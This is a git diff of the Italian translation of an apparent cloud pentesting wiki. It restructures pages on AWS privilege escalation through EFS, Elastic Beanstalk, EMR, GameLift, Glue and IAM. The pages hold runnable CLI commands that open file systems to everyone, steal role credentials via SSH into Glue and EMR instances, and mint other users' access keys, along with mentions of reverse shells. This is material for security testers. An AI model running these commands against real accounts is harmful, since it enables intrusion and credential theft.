-Con una di queste autorizzazioni un attaccante può **cambiare la politica del file system** per **darti accesso** ad esso, o semplicemente **eliminarlo** in modo che venga concesso il **accesso predefinito**.
-
-Per eliminare la politica:
-```bash
-aws efs delete-file-system-policy \
---file-system-id <value>
-```
-Per cambiarlo:
-```json
-aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json
-
-// Give everyone trying to mount it read, write and root access
-// policy.json:
-{
-"Version": "2012-10-17",
-"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
-"Statement": [
-{
-"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": [
-"elasticfilesystem:ClientRootAccess",
-"elasticfilesystem:ClientWrite",
-"elasticfilesystem:ClientMount"
-],
-"Condition": {
-"Bool": {
-"elasticfilesystem:AccessedViaMountTarget": "true"
-}
-}
-}
-]
-}
-```
-### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)`
-
-Con questo permesso, un attaccante sarà in grado di **montare l'EFS**. Se il permesso di scrittura non è concesso per impostazione predefinita a tutti coloro che possono montare l'EFS, avrà solo **accesso in lettura**.
-```bash
-sudo mkdir /efs
-sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/
-```
-I permessi aggiuntivi `elasticfilesystem:ClientRootAccess` e `elasticfilesystem:ClientWrite` possono essere utilizzati per **scrivere** all'interno del filesystem dopo che è stato montato e per **accedere** a quel filesystem **come root**.
-
-**Impatto Potenziale:** Privesc indiretto localizzando informazioni sensibili nel filesystem.
-
-### `elasticfilesystem:CreateMountTarget`
-
-Se un attaccante si trova in una **sottorete** dove **non esiste alcun mount target** dell'EFS. Potrebbe semplicemente **crearne uno nella sua sottorete** con questo privilegio:
-```bash
-# You need to indicate security groups that will grant the user access to port 2049
-aws efs create-mount-target --file-system-id <fs-id> \
---subnet-id <value> \
---security-groups <value>
-```
-**Impatto Potenziale:** Privesc indiretto localizzando informazioni sensibili nel file system.
-
-### `elasticfilesystem:ModifyMountTargetSecurityGroups`
-
-In uno scenario in cui un attaccante scopre che l'EFS ha un target di montaggio nella sua sottorete ma **nessun gruppo di sicurezza consente il traffico**, potrebbe semplicemente **cambiare ciò modificando i gruppi di sicurezza selezionati**:
-```bash
-aws efs modify-mount-target-security-groups \
---mount-target-id <value> \
---security-groups <value>
-```
-**Impatto Potenziale:** Privesc indiretto localizzando informazioni sensibili nel file system.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md
new file mode 100644
index 000000000..974486e14
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md
@@ -0,0 +1,86 @@
+# AWS - EFS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+Maggiori **informazioni su EFS** in:
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+Ricorda che per montare un EFS devi trovarti in una sottorete dove l'EFS è esposto e avere accesso ad esso (security groups). Se questo è il caso, per impostazione predefinita sarai sempre in grado di montarlo; tuttavia, se è protetto da IAM policies devi avere le autorizzazioni extra menzionate qui per accedervi.
+
+### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`
+
+With any of those permissions an attacker can **modificare la policy del file system** per **darti l'accesso** ad esso, oppure semplicemente **cancellarla** in modo che venga concesso l'**accesso predefinito**.
+
+Per cancellare la policy:
+```bash
+aws efs delete-file-system-policy \
+--file-system-id <value>
+```
+Per cambiarlo:
+```json
+aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json
+
+// Give everyone trying to mount it read, write and root access
+// policy.json:
+{
+"Version": "2012-10-17",
+"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
+"Statement": [
+{
+"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"elasticfilesystem:ClientRootAccess",
+"elasticfilesystem:ClientWrite",
+"elasticfilesystem:ClientMount"
+],
+"Condition": {
+"Bool": {
+"elasticfilesystem:AccessedViaMountTarget": "true"
+}
+}
+}
+]
+}
+```
+### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)`
+
+Con questo permesso un attaccante sarà in grado di **mount the EFS**. Se il write permission non è concesso di default a chiunque possa mount the EFS, avrà solo **read access**.
+```bash
+sudo mkdir /efs
+sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/
+```
+Le autorizzazioni aggiuntive `elasticfilesystem:ClientRootAccess` e `elasticfilesystem:ClientWrite` possono essere usate per **scrivere** all'interno del filesystem dopo che è montato e per **accedere** a quel file system **as root**.
+
+**Impatto potenziale:** Privesc indiretto ottenendo informazioni sensibili presenti nel file system.
+
+### `elasticfilesystem:CreateMountTarget`
+
+Se un attacker si trova all'interno di una **subnetwork** dove **non esiste alcun mount target** dell'EFS, può semplicemente **crearne uno nella sua subnet** con questo privilegio:
+```bash
+# You need to indicate security groups that will grant the user access to port 2049
+aws efs create-mount-target --file-system-id <fs-id> \
+--subnet-id <value> \
+--security-groups <value>
+```
+**Impatto potenziale:** privesc indiretto individuando informazioni sensibili nel file system.
+
+### `elasticfilesystem:ModifyMountTargetSecurityGroups`
+
+In uno scenario in cui un attaccante scopre che l'EFS ha un mount target nella sua subnetwork ma **nessuna security group permette il traffico**, potrebbe semplicemente **abilitare il traffico modificando le security groups selezionate**:
+```bash
+aws efs modify-mount-target-security-groups \
+--mount-target-id <value> \
+--security-groups <value>
+```
+**Impatto potenziale:** privesc indiretto localizzando informazioni sensibili nel file system.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md
similarity index 69%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md
index bbc2de157..cd2f77278 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md
@@ -1,21 +1,21 @@
 # AWS - Elastic Beanstalk Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Elastic Beanstalk
 
-Maggiore **info su Elastic Beanstalk** in:
+Ulteriori **informazioni su Elastic Beanstalk** in:
 
 {{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
+../../aws-services/aws-elastic-beanstalk-enum.md
 {{#endref}}
 
 > [!WARNING]
-> Per eseguire azioni sensibili in Beanstalk è necessario avere un **gran numero di permessi sensibili in molti servizi diversi**. Puoi controllare, ad esempio, i permessi concessi a **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**
+> Per eseguire azioni sensibili in Beanstalk avrai bisogno di **molti permessi sensibili in molti servizi diversi**. Puoi controllare, per esempio, i permessi concessi a **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**
 
-### `elasticbeanstalk:RebuildEnvironment`, permessi di scrittura S3 e molti altri
+### `elasticbeanstalk:RebuildEnvironment`, permessi di scrittura su S3 e molti altri
 
-Con **permessi di scrittura sul bucket S3** contenente il **codice** dell'ambiente e permessi per **ricostruire** l'applicazione (è necessario `elasticbeanstalk:RebuildEnvironment` e alcuni altri relativi a `S3`, `EC2` e `Cloudformation`), puoi **modificare** il **codice**, **ricostruire** l'app e la prossima volta che accedi all'app essa **eseguirà il tuo nuovo codice**, consentendo all'attaccante di compromettere l'applicazione e le credenziali del ruolo IAM ad essa associate.
+Con **permessi di scrittura sul bucket S3** che contiene il **code** dell'ambiente e permessi per **ricostruire** l'applicazione (sono necessari `elasticbeanstalk:RebuildEnvironment` e alcuni altri relativi a `S3`, `EC2` e `Cloudformation`), puoi **modificare** il **code**, **ricostruire** l'app e, la volta successiva che accedi all'app, questa eseguirà il **tuo nuovo code**, permettendo all'attaccante di compromettere l'applicazione e le credenziali del ruolo IAM associate.
 ```bash
 # Create folder
 mkdir elasticbeanstalk-eu-west-1-947247140022
@@ -30,21 +30,21 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247
 # Rebuild env
 aws elasticbeanstalk rebuild-environment --environment-name "env-name"
 ```
-### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, e altro...
+### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, and more...
 
-I permessi menzionati più diversi permessi di **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** e **`elasticloadbalancing`** sono necessari per creare uno scenario Elastic Beanstalk da zero.
+Quelle citate, insieme a diverse autorizzazioni **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** e **`elasticloadbalancing`**, sono necessarie per creare da zero uno scenario Elastic Beanstalk.
 
 - Crea un'applicazione AWS Elastic Beanstalk:
 ```bash
 aws elasticbeanstalk create-application --application-name MyApp
 ```
-- Crea un ambiente AWS Elastic Beanstalk ([**piattaforme supportate**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
+- Crea un ambiente AWS Elastic Beanstalk ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
 ```bash
 aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
 ```
 Se un ambiente è già stato creato e **non vuoi crearne uno nuovo**, puoi semplicemente **aggiornare** quello esistente.
 
-- Imballa il tuo codice applicativo e le dipendenze in un file ZIP:
+- Comprimi il codice della tua applicazione e le dipendenze in un file ZIP:
 ```python
 zip -r MyApp.zip .
 ```
@@ -52,7 +52,7 @@ zip -r MyApp.zip .
 ```python
 aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
 ```
-- Crea una versione dell'applicazione AWS Elastic Beanstalk:
+- Crea una AWS Elastic Beanstalk application version:
 ```css
 aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
 ```
@@ -62,7 +62,7 @@ aws elasticbeanstalk update-environment --environment-name MyEnv --version-label
 ```
 ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses`
 
-Prima di tutto, è necessario creare un **ambiente Beanstalk legittimo** con il **codice** che si desidera eseguire nella **vittima** seguendo i **passi precedenti**. Potenzialmente un semplice **zip** contenente questi **2 file**:
+Per prima cosa devi creare un **legit Beanstalk environment** con il **code** che vorresti eseguire sulla **victim** seguendo i **previous steps**. Potenzialmente un semplice **zip** contenente questi **2 file**:
 
 {{#tabs }}
 {{#tab name="application.py" }}
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
 {{#endtab }}
 {{#endtabs }}
 
-Una volta che hai **il tuo ambiente Beanstalk in esecuzione** con la tua rev shell, è tempo di **migrarlo** nell'ambiente della **vittima**. Per farlo, devi **aggiornare la Bucket Policy** del tuo bucket S3 di beanstalk in modo che la **vittima possa accedervi** (Nota che questo **aprirà** il Bucket a **TUTTI**):
+Una volta che hai **il tuo Beanstalk env in esecuzione** con la tua rev shell, è il momento di **migrarla** nell'**env** della **vittima**. Per farlo devi **aggiornare la Bucket Policy** del tuo bucket beanstalk S3 in modo che la **vittima possa accedervi** (Nota che questo **aprirà** il Bucket a **TUTTI**):
 ```json
 {
 "Version": "2008-10-17",
@@ -162,4 +162,4 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe
 
 The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
deleted file mode 100644
index 9b39be7df..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
+++ /dev/null
@@ -1,62 +0,0 @@
-# AWS - EMR Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EMR
-
-Ulteriori **info su EMR** in:
-
-{{#ref}}
-../aws-services/aws-emr-enum.md
-{{#endref}}
-
-### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
-
-Un attaccante con questi permessi può **eseguire un nuovo cluster EMR allegando ruoli EC2** e cercare di rubare le sue credenziali.\
-Nota che per fare questo avresti bisogno di **conoscere qualche chiave privata ssh importata nell'account** o di importarne una, e di essere in grado di **aprire la porta 22 nel nodo master** (potresti essere in grado di farlo con gli attributi `EmrManagedMasterSecurityGroup` e/o `ServiceAccessSecurityGroup` all'interno di `--ec2-attributes`).
-```bash
-# Import EC2 ssh key (you will need extra permissions for this)
-ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
-chmod 400 /tmp/sshkey
-base64 /tmp/sshkey.pub > /tmp/pub.key
-aws ec2 import-key-pair \
---key-name "privesc" \
---public-key-material file:///tmp/pub.key
-
-
-aws emr create-cluster \
---release-label emr-5.15.0 \
---instance-type m4.large \
---instance-count 1 \
---service-role EMR_DefaultRole \
---ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
-
-# Wait 1min and connect via ssh to an EC2 instance of the cluster)
-aws emr describe-cluster --cluster-id <id>
-# In MasterPublicDnsName you can find the DNS to connect to the master instance
-## You cna also get this info listing EC2 instances
-```
-Nota come un **ruolo EMR** è specificato in `--service-role` e un **ruolo ec2** è specificato in `--ec2-attributes` all'interno di `InstanceProfile`. Tuttavia, questa tecnica consente solo di rubare le credenziali del ruolo EC2 (poiché ci si connetterà tramite ssh) ma non il ruolo IAM EMR.
-
-**Impatto Potenziale:** Privesc al ruolo di servizio EC2 specificato.
-
-### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole`
-
-Con questi permessi un attaccante può accedere alla **console AWS**, creare un Notebook e accedervi per rubare il ruolo IAM.
-
-> [!CAUTION]
-> Anche se attacchi un ruolo IAM all'istanza del notebook nei miei test ho notato che ero in grado di rubare credenziali gestite da AWS e non credenziali relative al ruolo IAM.
-
-**Impatto Potenziale:** Privesc al ruolo gestito da AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
-
-### `elasticmapreduce:OpenEditorInConsole`
-
-Solo con questo permesso un attaccante sarà in grado di accedere al **Jupyter Notebook e rubare il ruolo IAM** associato ad esso.\
-L'URL del notebook è `https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/`
-
-> [!CAUTION]
-> Anche se attacchi un ruolo IAM all'istanza del notebook nei miei test ho notato che ero in grado di rubare credenziali gestite da AWS e non credenziali relative al ruolo IAM.
-
-**Impatto Potenziale:** Privesc al ruolo gestito da AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md
new file mode 100644
index 000000000..dfa180b63
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md
@@ -0,0 +1,62 @@
+# AWS - EMR Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EMR
+
+Maggiori **informazioni su EMR** in:
+
+{{#ref}}
+../../aws-services/aws-emr-enum.md
+{{#endref}}
+
+### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
+
+Un attaccante con queste autorizzazioni può **avviare un nuovo cluster EMR allegando EC2 roles** e provare a rubare le sue credenziali.\
+Nota che per fare questo sarebbe necessario **conoscere qualche ssh priv key importata nell'account** o importarne una, e essere in grado di **aprire la porta 22 sul nodo master** (potresti essere in grado di farlo con gli attributi `EmrManagedMasterSecurityGroup` e/o `ServiceAccessSecurityGroup` all'interno di `--ec2-attributes`).
+```bash
+# Import EC2 ssh key (you will need extra permissions for this)
+ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
+chmod 400 /tmp/sshkey
+base64 /tmp/sshkey.pub > /tmp/pub.key
+aws ec2 import-key-pair \
+--key-name "privesc" \
+--public-key-material file:///tmp/pub.key
+
+
+aws emr create-cluster \
+--release-label emr-5.15.0 \
+--instance-type m4.large \
+--instance-count 1 \
+--service-role EMR_DefaultRole \
+--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
+
+# Wait 1min and connect via ssh to an EC2 instance of the cluster)
+aws emr describe-cluster --cluster-id <id>
+# In MasterPublicDnsName you can find the DNS to connect to the master instance
+## You cna also get this info listing EC2 instances
+```
+Note how an **EMR role** is specified in `--service-role` and a **ec2 role** is specified in `--ec2-attributes` inside `InstanceProfile`. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role.
+
+**Impatto potenziale:** Privesc al ruolo di servizio EC2 specificato.
+
+### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole`
+
+Con queste autorizzazioni un attaccante può andare nella **AWS console**, creare un Notebook e accedervi per rubare l'IAM Role.
+
+> [!CAUTION]
+> Anche se si allega un IAM role all'istanza del notebook, nei miei test ho notato di essere stato in grado di rubare credenziali gestite da AWS e non le credenziali relative all'IAM role.
+
+**Impatto potenziale:** Privesc al ruolo gestito AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
+
+### `elasticmapreduce:OpenEditorInConsole`
+
+Solo con questa autorizzazione un attaccante sarà in grado di accedere al **Jupyter Notebook e rubare l'IAM role** ad esso associato.\
+The URL of the notebook is `https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/`
+
+> [!CAUTION]
+> Anche se si allega un IAM role all'istanza del notebook, nei miei test ho notato di essere stato in grado di rubare credenziali gestite da AWS e non le credenziali relative all'IAM role
+
+**Impatto potenziale:** Privesc al ruolo gestito AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
deleted file mode 100644
index cda59ccf7..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
+++ /dev/null
@@ -1,16 +0,0 @@
-# AWS - Gamelift
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### `gamelift:RequestUploadCredentials`
-
-Con questo permesso un attaccante può recuperare un **nuovo set di credenziali da utilizzare durante il caricamento** di un nuovo set di file di build del gioco su Amazon GameLift's Amazon S3. Restituirà **credenziali di caricamento S3**.
-```bash
-aws gamelift request-upload-credentials \
---build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
-```
-## Riferimenti
-
-- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md
new file mode 100644
index 000000000..13a1a075a
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md
@@ -0,0 +1,16 @@
+# AWS - Gamelift
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### `gamelift:RequestUploadCredentials`
+
+Con questo permesso un attacker può recuperare un **fresh set of credentials for use when uploading** per caricare un nuovo set di file di build del gioco su Amazon GameLift's Amazon S3. Restituirà **S3 upload credentials**.
+```bash
+aws gamelift request-upload-credentials \
+--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
+```
+## Riferimenti
+
+- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md
similarity index 54%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md
index 190d7f76e..745b49486 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md
@@ -1,14 +1,14 @@
 # AWS - Glue Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## glue
 
 ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
 
-Gli utenti con questi permessi possono **configurare un nuovo endpoint di sviluppo AWS Glue**, **assegnando un ruolo di servizio esistente assumibile da Glue** con permessi specifici a questo endpoint.
+Utenti con queste autorizzazioni possono **configurare un nuovo AWS Glue endpoint di sviluppo**, **assegnando a questo endpoint un ruolo di servizio esistente che Glue può assumere** con permessi specifici.
 
-Dopo la configurazione, l'**attaccante può SSH nell'istanza dell'endpoint**, e rubare le credenziali IAM del ruolo assegnato:
+Dopo la configurazione, **l'attaccante può accedere via SSH all'istanza dell'endpoint**, e rubare le credenziali IAM del ruolo assegnato:
 ```bash
 # Create endpoint
 aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
@@ -22,13 +22,13 @@ aws glue get-dev-endpoint --endpoint-name privesctest
 # SSH with the glue user
 ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
 ```
-Per scopi di stealth, si consiglia di utilizzare le credenziali IAM dall'interno della macchina virtuale Glue.
+Per motivi di stealth, si consiglia di utilizzare le credenziali IAM dall'interno della macchina virtuale Glue.
 
-**Impatto Potenziale:** Privesc al ruolo di servizio glue specificato.
+**Impatto potenziale:** Privesc al ruolo di servizio Glue specificato.
 
 ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
 
-Gli utenti con questo permesso possono **modificare la chiave SSH di un endpoint di sviluppo Glue** esistente, **abilitando l'accesso SSH ad esso**. Questo consente all'attaccante di eseguire comandi con i privilegi del ruolo associato all'endpoint:
+Gli utenti con questo permesso possono **alterare la chiave SSH di un Glue development endpoint esistente**, **abilitando l'accesso SSH ad esso**. Questo permette all'attaccante di eseguire comandi con i privilegi del ruolo associato all'endpoint:
 ```bash
 # Change public key to connect
 aws glue --endpoint-name target_endpoint \
@@ -41,11 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest
 # SSH with the glue user
 ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
 ```
-**Impatto Potenziale:** Privesc al ruolo del servizio glue utilizzato.
+**Impatto potenziale:** Privesc al ruolo di servizio glue utilizzato.
 
 ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`)
 
-Gli utenti con **`iam:PassRole`** combinato con **`glue:CreateJob` o `glue:UpdateJob`**, e **`glue:StartJobRun` o `glue:CreateTrigger`** possono **creare o aggiornare un lavoro AWS Glue**, allegando qualsiasi **account di servizio Glue**, e avviare l'esecuzione del lavoro. Le capacità del lavoro includono l'esecuzione di codice Python arbitrario, che può essere sfruttato per stabilire una reverse shell. Questa reverse shell può quindi essere utilizzata per esfiltrare le **credenziali IAM** del ruolo allegato al lavoro Glue, portando a potenziale accesso non autorizzato o azioni basate sulle autorizzazioni di quel ruolo:
+Utenti con **`iam:PassRole`** combinato con **`glue:CreateJob` o `glue:UpdateJob`**, e con **`glue:StartJobRun` o `glue:CreateTrigger`**, possono **creare o aggiornare un job AWS Glue**, allegando qualsiasi **Glue service account**, e avviare l'esecuzione del job. Le capacità del job includono l'esecuzione di codice Python arbitrario, che può essere sfruttato per stabilire una reverse shell. Questa reverse shell può poi essere utilizzata per esfiltrare le **IAM credential** del ruolo associato al job Glue, portando a potenziali accessi non autorizzati o azioni basate sui permessi di quel ruolo:
 ```bash
 # Content of the python script saved in s3:
 #import socket,subprocess,os
@@ -71,16 +71,16 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \
 --actions '[{"JobName": "privesctest"}]' --start-on-creation \
 --schedule "0/5 * * * * *"  #Every 5mins, feel free to change
 ```
-**Impatto Potenziale:** Privesc al ruolo del servizio glue specificato.
+**Impatto potenziale:** Privesc al ruolo di servizio glue specificato.
 
 ### `glue:UpdateJob`
 
-Solo con il permesso di aggiornamento un attaccante potrebbe rubare le credenziali IAM del ruolo già attaccato.
+Solo con il permesso di update, un attaccante potrebbe rubare le credenziali IAM del ruolo già associato.
 
-**Impatto Potenziale:** Privesc al ruolo del servizio glue attaccato.
+**Impatto potenziale:** Privesc al ruolo di servizio glue associato.
 
 ## Riferimenti
 
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
similarity index 51%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
index b44cf9e50..47463a923 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
@@ -1,109 +1,109 @@
 # AWS - IAM Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## IAM
 
-Per ulteriori informazioni su IAM controlla:
+Per maggiori informazioni su IAM consulta:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
 ### **`iam:CreatePolicyVersion`**
 
-Concede la possibilità di creare una nuova versione della policy IAM, eludendo la necessità del permesso `iam:SetDefaultPolicyVersion` utilizzando il flag `--set-as-default`. Questo consente di definire permessi personalizzati.
+Concede la possibilità di creare una nuova versione di una policy IAM, aggirando la necessità del permesso `iam:SetDefaultPolicyVersion` utilizzando il flag `--set-as-default`. Questo permette di definire permessi personalizzati.
 
 **Exploit Command:**
 ```bash
 aws iam create-policy-version --policy-arn <target_policy_arn> \
 --policy-document file:///path/to/administrator/policy.json --set-as-default
 ```
-**Impatto:** Escalation diretta dei privilegi consentendo qualsiasi azione su qualsiasi risorsa.
+**Impatto:** Escalazione diretta dei privilegi consentendo qualsiasi azione su qualsiasi risorsa.
 
 ### **`iam:SetDefaultPolicyVersion`**
 
-Consente di cambiare la versione predefinita di una policy IAM con un'altra versione esistente, potenzialmente elevando i privilegi se la nuova versione ha più permessi.
+Consente di cambiare la versione predefinita di una IAM policy con un'altra versione esistente, potenzialmente escalando i privilegi se la nuova versione ha più permessi.
 
 **Comando Bash:**
 ```bash
 aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
 ```
-**Impatto:** Escalation indiretta dei privilegi abilitando più permessi.
+**Impatto:** Indirect privilege escalation abilitando più permessi.
 
 ### **`iam:CreateAccessKey`**
 
-Abilita la creazione di un ID chiave di accesso e di una chiave di accesso segreta per un altro utente, portando a una potenziale escalation dei privilegi.
+Consente la creazione di access key ID e secret access key per un altro utente, portando a una potenziale privilege escalation.
 
-**Sfrutta:**
+**Exploit:**
 ```bash
 aws iam create-access-key --user-name <target_user>
 ```
-**Impatto:** Escalation diretta dei privilegi assumendo i permessi estesi di un altro utente.
+**Impatto:** Privilege escalation diretta ottenuta assumendo i permessi estesi di un altro utente.
 
